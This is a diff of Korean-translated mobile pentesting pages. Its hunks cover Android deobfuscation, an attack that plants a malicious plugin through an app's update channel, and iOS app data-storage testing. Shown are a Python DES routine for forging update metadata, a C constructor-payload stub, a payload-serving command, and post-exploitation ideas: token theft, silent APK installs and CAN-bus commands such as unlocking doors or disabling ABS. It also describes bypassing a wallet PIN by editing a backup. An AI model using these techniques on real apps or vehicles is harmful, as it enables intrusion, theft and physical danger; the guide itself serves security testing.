[위키피디아](<https://en.wikipedia.org/wiki/ProGuard_(software)>에서): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이트하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다.
|
||||
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이트하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다.
|
||||
|
||||
ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK를 디오브스큐레이트하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
|
||||
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이트하는 단계별 가이드를 찾으세요.
|
||||
|
||||
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
|
||||
|
||||
|
@ -33,14 +33,14 @@ AnyScan 사례에서 각 앱 실행은 다음에 대한 HTTPS GET을 트리거
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
응답 본문은 모든 사용 가능한 플러그인을 설명하는 **Base64로 인코딩되고, DES-ECB로 암호화된** JSON을 포함하는 `<FileData>` 노드를 가진 **XML 문서**입니다.
|
||||
응답 본문은 모든 사용 가능한 플러그인을 설명하는 **Base64로 인코딩되고, DES-ECB로 암호화된** JSON을 포함하는 **XML 문서**입니다.
|
||||
|
||||
전형적인 헌팅 단계:
|
||||
1. 암호화 루틴(예: `RemoteServiceProxy`)을 찾고 복구합니다:
|
||||
* 알고리즘 (DES / AES / RC4 …)
|
||||
* 작동 모드 (ECB / CBC / GCM …)
|
||||
* 하드코딩된 키 / IV (종종 상수에서 56비트 DES 키 또는 128비트 AES 키)
|
||||
2. 메타데이터를 복호화 / 암호화하기 위해 Python에서 함수를 재구현합니다:
|
||||
2. 메타데이터를 복호화/암호화하기 위해 Python에서 함수를 재구현합니다:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -57,7 +57,7 @@ return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"
|
||||
```
|
||||
## 3. 악성 플러그인 만들기
|
||||
|
||||
1. 합법적인 플러그인 ZIP 파일을 선택하고 네이티브 라이브러리를 당신의 페이로드로 교체합니다:
|
||||
1. 합법적인 플러그인 ZIP을 선택하고 네이티브 라이브러리를 당신의 페이로드로 교체합니다:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -96,24 +96,24 @@ python3 -m http.server 8000 --directory ./payloads
|
||||
피해자가 앱을 실행하면 다음과 같은 작업을 수행합니다:
|
||||
* MITM 채널을 통해 위조된 XML을 가져옵니다;
|
||||
* 하드코딩된 DES 키로 이를 복호화하고 파싱합니다;
|
||||
* `PWNED.zip`을 다운로드하여 개인 저장소에 압축 해제합니다;
|
||||
* 포함된 *libscan_x64.so*를 `dlopen()`하여 앱의 권한(카메라, GPS, 블루투스, 파일 시스템 등)으로 즉시 코드를 실행합니다.
|
||||
* `PWNED.zip`을 다운로드 → 개인 저장소에 압축 해제합니다;
|
||||
* 포함된 *libscan_x64.so*를 `dlopen()`하여 앱의 권한으로 **즉시 코드를 실행**합니다 (카메라, GPS, 블루투스, 파일 시스템 등).
|
||||
|
||||
플러그인이 디스크에 캐시되기 때문에 백도어는 **재부팅 간에 지속**되며 사용자가 관련 기능을 선택할 때마다 실행됩니다.
|
||||
|
||||
## 5. 포스트 익스플로잇 아이디어
|
||||
|
||||
* 앱에 의해 저장된 세션 쿠키, OAuth 토큰 또는 JWT를 훔칩니다.
|
||||
* 두 번째 단계 APK를 드롭하고 `pm install`을 통해 조용히 설치합니다(앱은 이미 `REQUEST_INSTALL_PACKAGES` 권한을 가지고 있습니다).
|
||||
* 연결된 하드웨어를 악용합니다 – AnyScan 시나리오에서는 임의의 **OBD-II / CAN 버스 명령**(문 잠금 해제, ABS 비활성화 등)을 보낼 수 있습니다.
|
||||
* 두 번째 단계 APK를 드롭하고 `pm install`을 통해 조용히 설치합니다 (앱은 이미 `REQUEST_INSTALL_PACKAGES` 권한을 가지고 있습니다).
|
||||
* 연결된 하드웨어를 남용합니다 – AnyScan 시나리오에서는 임의의 **OBD-II / CAN 버스 명령**을 전송할 수 있습니다 (문 잠금 해제, ABS 비활성화 등).
|
||||
|
||||
---
|
||||
### 탐지 및 완화 체크리스트 (블루 팀)
|
||||
|
||||
* 인증서 검증을 비활성화하는 사용자 정의 TrustManager/HostnameVerifier가 포함된 프로덕션 빌드를 절대 배포하지 마십시오.
|
||||
* Google Play 외부에서 실행 가능한 코드를 다운로드하지 마십시오. *필요한 경우*, 각 플러그인을 동일한 **apkSigning v2** 키로 서명하고 로드하기 전에 서명을 확인하십시오.
|
||||
* 약한/하드코딩된 암호를 **AES-GCM** 및 서버 측 회전 키로 교체하십시오.
|
||||
* 다운로드한 아카이브의 무결성을 검증하십시오(서명 또는 최소한 SHA-256).
|
||||
* 약한/하드코딩된 암호화를 **AES-GCM** 및 서버 측 회전 키로 교체하십시오.
|
||||
* 다운로드한 아카이브의 무결성을 검증하십시오 (서명 또는 최소한 SHA-256).
|
||||
|
||||
---
|
||||
## 참조
|
||||
|
@ -20,7 +20,7 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
테스트 중에 **여러 작업이 제안될 것입니다** (장치에 연결, 파일 읽기/쓰기/업로드/다운로드, 일부 도구 사용...). 따라서 이러한 작업을 수행하는 방법을 모른다면, **페이지를 읽기 시작하세요**:
|
||||
테스트 중에 **여러 작업이 제안될 것입니다** (장치에 연결, 파일 읽기/쓰기/업로드/다운로드, 일부 도구 사용 등...). 따라서 이러한 작업을 수행하는 방법을 모른다면, **페이지를 읽기 시작하세요**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
@ -170,8 +170,8 @@ ios-hooking-with-objection.md
|
||||
- **`Frameworks/`**: 이 폴더에는 `.dylib` 또는 `.framework` 파일 형식의 애플리케이션 네이티브 라이브러리가 포함되어 있습니다.
|
||||
- **`PlugIns/`**: 이 폴더에는 애플리케이션의 확장인 `.appex` 파일이 포함될 수 있지만 항상 존재하는 것은 아닙니다. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): 애플리케이션의 영구 데이터를 오프라인에서 저장하고, 임시 데이터를 캐시하며, 단일 장치에서 앱의 실행 취소 기능을 추가하는 데 사용됩니다. 단일 iCloud 계정의 여러 장치 간에 데이터를 동기화하기 위해 Core Data는 자동으로 스키마를 CloudKit 컨테이너에 미러링합니다.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` 파일은 애플리케이션 또는 번들의 유형 및 생성자 코드를 지정하는 대체 방법입니다.
|
||||
- **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 언어가 지원되지 않는 경우 기본 리소스를 포함합니다.
|
||||
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 번들된 모든 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
|
||||
- **en.lproj, fr.proj, Base.lproj**: 특정 언어에 대한 리소스를 포함하는 언어 팩이며, 언어가 지원되지 않을 경우 기본 리소스를 포함합니다.
|
||||
- **보안**: `_CodeSignature/` 디렉토리는 디지털 서명을 통해 모든 번들 파일의 무결성을 검증하여 앱의 보안에서 중요한 역할을 합니다.
|
||||
- **자산 관리**: `Assets.car` 파일은 압축을 사용하여 그래픽 자산을 효율적으로 관리하며, 이는 애플리케이션 성능 최적화와 전체 크기 감소에 중요합니다.
|
||||
- **Frameworks 및 PlugIns**: 이러한 디렉토리는 iOS 애플리케이션의 모듈성을 강조하며, 개발자가 재사용 가능한 코드 라이브러리(`Frameworks/`)를 포함하고 앱 기능을 확장(`PlugIns/`)할 수 있도록 합니다.
|
||||
- **지역화**: 이 구조는 여러 언어를 지원하여 특정 언어 팩에 대한 리소스를 포함함으로써 글로벌 애플리케이션 도달을 촉진합니다.
|
||||
@ -197,7 +197,7 @@ $ grep -i <keyword> Info.plist
|
||||
```
|
||||
**데이터 경로**
|
||||
|
||||
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**라는 고유 식별자가 할당되어, 디렉토리 이름의 무작위성으로 인해 수동으로 앱의 폴더를 찾는 것이 어려워집니다.
|
||||
iOS 환경에서는 디렉토리가 **시스템 애플리케이션**과 **사용자 설치 애플리케이션**을 위해 특별히 지정됩니다. 시스템 애플리케이션은 `/Applications` 디렉토리에 위치하고, 사용자 설치 앱은 `/var/mobile/containers/Data/Application/` 아래에 배치됩니다. 이러한 애플리케이션은 **128비트 UUID**로 알려진 고유 식별자가 할당되어, 디렉토리 이름의 무작위성 때문에 수동으로 앱의 폴더를 찾는 것이 어려워집니다.
|
||||
|
||||
> [!WARNING]
|
||||
> iOS의 애플리케이션은 샌드박스화되어야 하므로, 각 앱은 **`$HOME/Library/Containers`** 내에 앱의 **`CFBundleIdentifier`**를 폴더 이름으로 가진 폴더도 갖습니다.
|
||||
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
`ps` 및 `lsof`와 같은 명령어는 각각 앱의 프로세스를 식별하고 열린 파일을 나열하는 데 사용될 수 있으며, 애플리케이션의 활성 디렉토리 경로에 대한 통찰력을 제공합니다:
|
||||
`ps` 및 `lsof`와 같은 명령어는 앱의 프로세스를 식별하고 각각 열린 파일을 나열하는 데 사용될 수 있으며, 애플리케이션의 활성 디렉토리 경로에 대한 통찰력을 제공합니다:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
@ -240,11 +240,11 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- 이 디렉토리의 콘텐츠는 **백업됩니다**.
|
||||
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
|
||||
- **Library/**
|
||||
- **캐시**, **환경 설정**, **쿠키** 및 속성 목록(plist) 구성 파일과 같은 **사용자 특정이 아닌 모든 파일**을 포함합니다.
|
||||
- **캐시**, **환경 설정**, **쿠키** 및 속성 목록(plist) 구성 파일과 같은 **사용자 특정이 아닌** 모든 **파일**을 포함합니다.
|
||||
- iOS 앱은 일반적으로 `Application Support` 및 `Caches` 하위 디렉토리를 사용하지만, 앱은 사용자 정의 하위 디렉토리를 생성할 수 있습니다.
|
||||
- **Library/Caches/**
|
||||
- **반영구적인 캐시 파일**을 포함합니다.
|
||||
- 사용자에게 보이지 않으며, **사용자는 여기에 쓸 수 없습니다**.
|
||||
- 사용자에게는 보이지 않으며, **사용자는 여기에 쓸 수 없습니다**.
|
||||
- 이 디렉토리의 콘텐츠는 **백업되지 않습니다**.
|
||||
- OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
|
||||
- **Library/Application Support/**
|
||||
@ -253,13 +253,13 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- 이 디렉토리의 콘텐츠는 **백업됩니다**.
|
||||
- 앱은 `NSURLIsExcludedFromBackupKey`를 설정하여 경로를 비활성화할 수 있습니다.
|
||||
- **Library/Preferences/**
|
||||
- 애플리케이션이 재시작된 후에도 **지속될 수 있는** 속성을 저장하는 데 사용됩니다.
|
||||
- 애플리케이션이 재시작된 후에도 **유지될 수 있는** 속성을 저장하는 데 사용됩니다.
|
||||
- 정보는 암호화되지 않은 상태로 애플리케이션 샌드박스 내의 \[BUNDLE_ID].plist라는 plist 파일에 저장됩니다.
|
||||
- `NSUserDefaults`를 사용하여 저장된 모든 키/값 쌍은 이 파일에서 찾을 수 있습니다.
|
||||
- **tmp/**
|
||||
- 앱 실행 간에 지속될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
|
||||
- 앱 실행 간에 지속할 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
|
||||
- 비영구적인 캐시 파일을 포함합니다.
|
||||
- 사용자에게 **보이지 않습니다**.
|
||||
- 사용자에게는 **보이지 않습니다**.
|
||||
- 이 디렉토리의 콘텐츠는 백업되지 않습니다.
|
||||
- OS는 앱이 실행되지 않고 저장 공간이 부족할 때 이 디렉토리의 파일을 자동으로 삭제할 수 있습니다.
|
||||
|
||||
@ -329,7 +329,7 @@ data 0x1003de748
|
||||
flags 0x80
|
||||
instanceStart 8
|
||||
```
|
||||
보다 간결한 Objective-C 코드를 얻기 위해 [**class-dump**](http://stevenygard.com/projects/class-dump/)를 사용할 수 있습니다:
|
||||
더 간결한 Objective-C 코드를 얻기 위해 [**class-dump**](http://stevenygard.com/projects/class-dump/)를 사용할 수 있습니다:
|
||||
```bash
|
||||
class-dump some-app
|
||||
//
|
||||
@ -366,18 +366,18 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> 다음 정보 저장 위치는 **애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후** 및 **한 사용자에서 로그아웃한 후 다른 사용자로 로그인한 후** 확인해야 합니다.\
|
||||
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자의 정보를 찾는 것입니다.
|
||||
> 다음 정보 저장 위치는 **애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후**, 심지어 **한 사용자에서 로그아웃하고 다른 사용자로 로그인한 후**에 확인해야 합니다.\
|
||||
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자에 대한 정보를 찾는 것입니다.
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** 파일은 **키-값 쌍**을 포함하는 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법으로, 때때로 **이 파일에서 민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후 및 집중적으로 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
|
||||
**plist** 파일은 **키-값 쌍**을 포함하는 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법으로, 때때로 **이 파일에서 민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후와 집중적으로 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
|
||||
|
||||
plist 파일에 데이터를 지속적으로 저장하는 가장 일반적인 방법은 **NSUserDefaults**를 사용하는 것입니다. 이 plist 파일은 **`Library/Preferences/<appBundleID>.plist`**의 앱 샌드박스 내에 저장됩니다.
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템은 애플리케이션이 **사용자 선호도**에 따라 동작을 사용자화할 수 있도록 합니다. `NSUserDefaults`에 의해 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **plist** **파일**에 **데이터**를 저장하지만, 소량의 데이터와 함께 사용하도록 설계되었습니다.
|
||||
|
||||
이 데이터는 신뢰할 수 있는 컴퓨터를 통해 더 이상 직접 접근할 수 없지만, **백업**을 수행하여 접근할 수 있습니다.
|
||||
이 데이터는 더 이상 신뢰할 수 있는 컴퓨터를 통해 직접 접근할 수 없지만, **백업**을 수행하여 접근할 수 있습니다.
|
||||
|
||||
**`NSUserDefaults`**를 사용하여 저장된 정보를 **덤프**하려면 objection의 `ios nsuserdefaults get`을 사용하세요.
|
||||
|
||||
@ -387,7 +387,7 @@ find ./ -name "*.plist"
|
||||
```
|
||||
파일을 **XML 또는 이진 (bplist)** 형식에서 XML로 변환하기 위해, 운영 체제에 따라 다양한 방법이 있습니다:
|
||||
|
||||
**macOS 사용자용:** `plutil` 명령어를 사용하세요. 이는 이 목적을 위해 설계된 macOS (10.2+)의 내장 도구입니다:
|
||||
**macOS 사용자용:** `plutil` 명령어를 사용하세요. 이는 macOS (10.2+)에 내장된 도구로, 이 목적을 위해 설계되었습니다:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
@ -442,9 +442,9 @@ Yap 데이터베이스는 sqlite 데이터베이스이므로 이전 섹션에서
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase 실시간 데이터베이스
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
개발자는 Firebase 실시간 데이터베이스를 통해 **NoSQL 클라우드 호스팅 데이터베이스** 내에서 **데이터를 저장하고 동기화**할 수 있습니다. JSON 형식으로 저장된 데이터는 모든 연결된 클라이언트에 실시간으로 동기화됩니다.
|
||||
개발자는 Firebase Real-Time Databases를 통해 **NoSQL 클라우드 호스팅 데이터베이스** 내에서 **데이터를 저장하고 동기화**할 수 있습니다. JSON 형식으로 저장된 데이터는 모든 연결된 클라이언트에 실시간으로 동기화됩니다.
|
||||
|
||||
잘못 구성된 Firebase 데이터베이스를 확인하는 방법은 여기에서 찾을 수 있습니다:
|
||||
|
||||
@ -452,9 +452,9 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
{{#endref}}
|
||||
|
||||
### Realm 데이터베이스
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로 **암호화되지 않은 데이터**를 저장하며, 특정 구성을 통해 암호화가 가능합니다.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로, 이들은 **암호화되지 않은 데이터**를 저장하며, 특정 구성에 따라 암호화가 가능합니다.
|
||||
|
||||
데이터베이스는 다음 위치에 있습니다: `/private/var/mobile/Containers/Data/Application/{APPID}`. 이러한 파일을 탐색하려면 다음과 같은 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
@ -463,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
||||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 사용하는 것이 좋습니다.
|
||||
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 추천합니다.
|
||||
|
||||
Realm 데이터베이스 내에서 암호화를 구현하려면 다음 코드 스니펫을 사용할 수 있습니다:
|
||||
```swift
|
||||
@ -508,9 +508,9 @@ iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의
|
||||
```
|
||||
### Cache
|
||||
|
||||
기본적으로 NSURLSession은 **Cache.db** 데이터베이스에 **HTTP 요청 및 응답**과 같은 데이터를 저장합니다. 이 데이터베이스는 토큰, 사용자 이름 또는 기타 민감한 정보가 캐시된 경우 **민감한 데이터**를 포함할 수 있습니다. 캐시된 정보를 찾으려면 앱의 데이터 디렉토리(`/var/mobile/Containers/Data/Application/<UUID>`)를 열고 `/Library/Caches/<Bundle Identifier>`로 이동합니다. **WebKit 캐시도 Cache.db** 파일에 저장됩니다. **Objection**은 `sqlite connect Cache.db` 명령어로 데이터베이스를 열고 상호작용할 수 있습니다. 이는 **정상 SQLite 데이터베이스**입니다.
|
||||
기본적으로 NSURLSession은 **HTTP 요청 및 응답을 Cache.db** 데이터베이스에 저장합니다. 이 데이터베이스는 토큰, 사용자 이름 또는 기타 민감한 정보가 캐시된 경우 **민감한 데이터**를 포함할 수 있습니다. 캐시된 정보를 찾으려면 앱의 데이터 디렉토리(`/var/mobile/Containers/Data/Application/<UUID>`)를 열고 `/Library/Caches/<Bundle Identifier>`로 이동합니다. **WebKit 캐시도 Cache.db** 파일에 저장됩니다. **Objection**은 `sqlite connect Cache.db` 명령어로 데이터베이스를 열고 상호작용할 수 있습니다. 이는 n**ormal SQLite 데이터베이스**입니다.
|
||||
|
||||
이 데이터를 캐싱하는 것을 **비활성화하는 것이 권장됩니다**, 요청 또는 응답에 민감한 정보가 포함될 수 있기 때문입니다. 아래의 목록은 이를 달성하는 다양한 방법을 보여줍니다:
|
||||
이 데이터를 캐싱하지 않는 것이 **권장됩니다**, 요청 또는 응답에 민감한 정보가 포함될 수 있기 때문입니다. 아래의 목록은 이를 달성하는 다양한 방법을 보여줍니다:
|
||||
|
||||
1. 로그아웃 후 캐시된 응답을 제거하는 것이 권장됩니다. 이는 Apple에서 제공하는 [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) 메서드를 사용하여 수행할 수 있습니다. 이 메서드는 다음과 같이 호출할 수 있습니다:
|
||||
|
||||
@ -528,9 +528,9 @@ iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의
|
||||
|
||||
### Snapshots
|
||||
|
||||
홈 버튼을 누를 때마다 iOS는 **현재 화면의 스냅샷을 찍습니다**. 이는 애플리케이션으로의 전환을 훨씬 부드럽게 할 수 있게 해줍니다. 그러나 **민감한** **데이터**가 현재 화면에 존재하는 경우, 이는 **이미지**에 **저장됩니다** (이는 **재부팅** 후에도 **유지됩니다**). 이러한 스냅샷은 홈 화면을 두 번 탭하여 앱 간 전환 시에도 접근할 수 있습니다.
|
||||
홈 버튼을 누를 때마다 iOS는 **현재 화면의 스냅샷을 찍어** 애플리케이션으로의 전환을 훨씬 부드럽게 할 수 있도록 합니다. 그러나 **민감한** **데이터**가 현재 화면에 존재하는 경우, 이는 **이미지**에 **저장**됩니다(이는 **재부팅** 후에도 **유지**됩니다). 이러한 스냅샷은 홈 화면을 두 번 탭하여 앱 간 전환할 때도 접근할 수 있습니다.
|
||||
|
||||
아이폰이 탈옥되지 않는 한, **공격자**는 이러한 스크린샷을 보기 위해 **차단되지 않은** **장치**에 **접근**해야 합니다. 기본적으로 마지막 스냅샷은 애플리케이션의 샌드박스에 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 저장됩니다 (신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 접근할 수 없습니다).
|
||||
아이폰이 탈옥되지 않는 한, **공격자**는 이러한 스크린샷을 보기 위해 **차단되지 않은** **장치**에 **접근**해야 합니다. 기본적으로 마지막 스냅샷은 애플리케이션의 샌드박스에 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 저장됩니다(신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 접근할 수 없습니다).
|
||||
|
||||
이러한 나쁜 행동을 방지하는 한 가지 방법은 `ApplicationDidEnterBackground()` 함수를 사용하여 스냅샷을 찍기 전에 빈 화면을 표시하거나 민감한 데이터를 제거하는 것입니다.
|
||||
|
||||
@ -570,7 +570,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
|
||||
### Keychain
|
||||
|
||||
iOS 키체인에 접근하고 관리하기 위해 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)와 같은 도구가 사용 가능하며, 이는 탈옥된 장치에 적합합니다. 또한, [**Objection**](https://github.com/sensepost/objection)은 유사한 목적을 위해 `ios keychain dump` 명령을 제공합니다.
|
||||
iOS 키체인에 접근하고 관리하기 위해 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)와 같은 도구가 제공되며, 이는 탈옥된 장치에 적합합니다. 또한, [**Objection**](https://github.com/sensepost/objection)은 유사한 목적을 위해 `ios keychain dump` 명령을 제공합니다.
|
||||
|
||||
#### **자격 증명 저장**
|
||||
|
||||
@ -589,7 +589,7 @@ iOS 8.0 이후로, 사용자는 **설정 > 일반 > 키보드 > 키보드**에
|
||||
**보안 권장 사항:**
|
||||
|
||||
- 보안을 강화하기 위해 서드파티 키보드를 비활성화하는 것이 좋습니다.
|
||||
- 기본 iOS 키보드의 자동 수정 및 자동 제안 기능이 민감한 정보를 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 캐시 파일로 저장할 수 있으므로 주의해야 합니다. 이러한 캐시 파일은 민감한 데이터를 정기적으로 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 초기화 > 키보드 사전 초기화**를 통해 키보드 사전을 재설정하는 것이 권장됩니다.
|
||||
- 기본 iOS 키보드의 자동 수정 및 자동 제안 기능이 민감한 정보를 `Library/Keyboard/{locale}-dynamic-text.dat` 또는 `/private/var/mobile/Library/Keyboard/dynamic-text.dat`에 캐시 파일로 저장할 수 있으므로 주의해야 합니다. 이러한 캐시 파일은 민감한 데이터를 위해 정기적으로 확인해야 합니다. 캐시된 데이터를 지우기 위해 **설정 > 일반 > 초기화 > 키보드 사전 초기화**를 통해 키보드 사전을 재설정하는 것이 권장됩니다.
|
||||
- 네트워크 트래픽을 가로채면 커스텀 키보드가 원격으로 키스트로크를 전송하는지 여부를 확인할 수 있습니다.
|
||||
|
||||
### **텍스트 필드 캐싱 방지**
|
||||
@ -650,7 +650,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
### 취약점 테스트
|
||||
|
||||
앱의 백업 보안을 평가하기 위해, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성이 있는지 분석합니다.
|
||||
앱의 백업 보안을 평가하려면, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성이 변경될 수 있는지 분석합니다.
|
||||
|
||||
민감한 정보는 명령줄 도구나 [iMazing](https://imazing.com)과 같은 애플리케이션을 사용하여 찾을 수 있습니다. 암호화된 백업의 경우, 백업의 루트에 있는 "Manifest.plist" 파일에서 "IsEncrypted" 키를 확인하여 암호화가 존재하는지 확인할 수 있습니다.
|
||||
```xml
|
||||
@ -665,11 +665,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
암호화된 백업을 처리하기 위해 [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다.
|
||||
암호화된 백업을 처리하기 위해, [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다.
|
||||
|
||||
### 앱 동작 수정
|
||||
|
||||
백업 수정을 통해 앱 동작을 변경하는 예는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 볼 수 있으며, 여기서 UI 잠금 PIN은 **pin_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 무제한 접근이 가능합니다.
|
||||
백업 수정을 통해 앱 동작을 변경하는 예는 [Bither 비트코인 지갑 앱](https://github.com/bither/bither-ios)에서 보여지며, 여기서 UI 잠금 PIN은 **pin_code** 키 아래 `net.bither.plist`에 저장됩니다. 이 키를 plist에서 제거하고 백업을 복원하면 PIN 요구 사항이 제거되어 무제한 접근이 가능합니다.
|
||||
|
||||
## 민감한 데이터에 대한 메모리 테스트 요약
|
||||
|
||||
@ -677,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## **메모리 덤프 검색 및 분석**
|
||||
|
||||
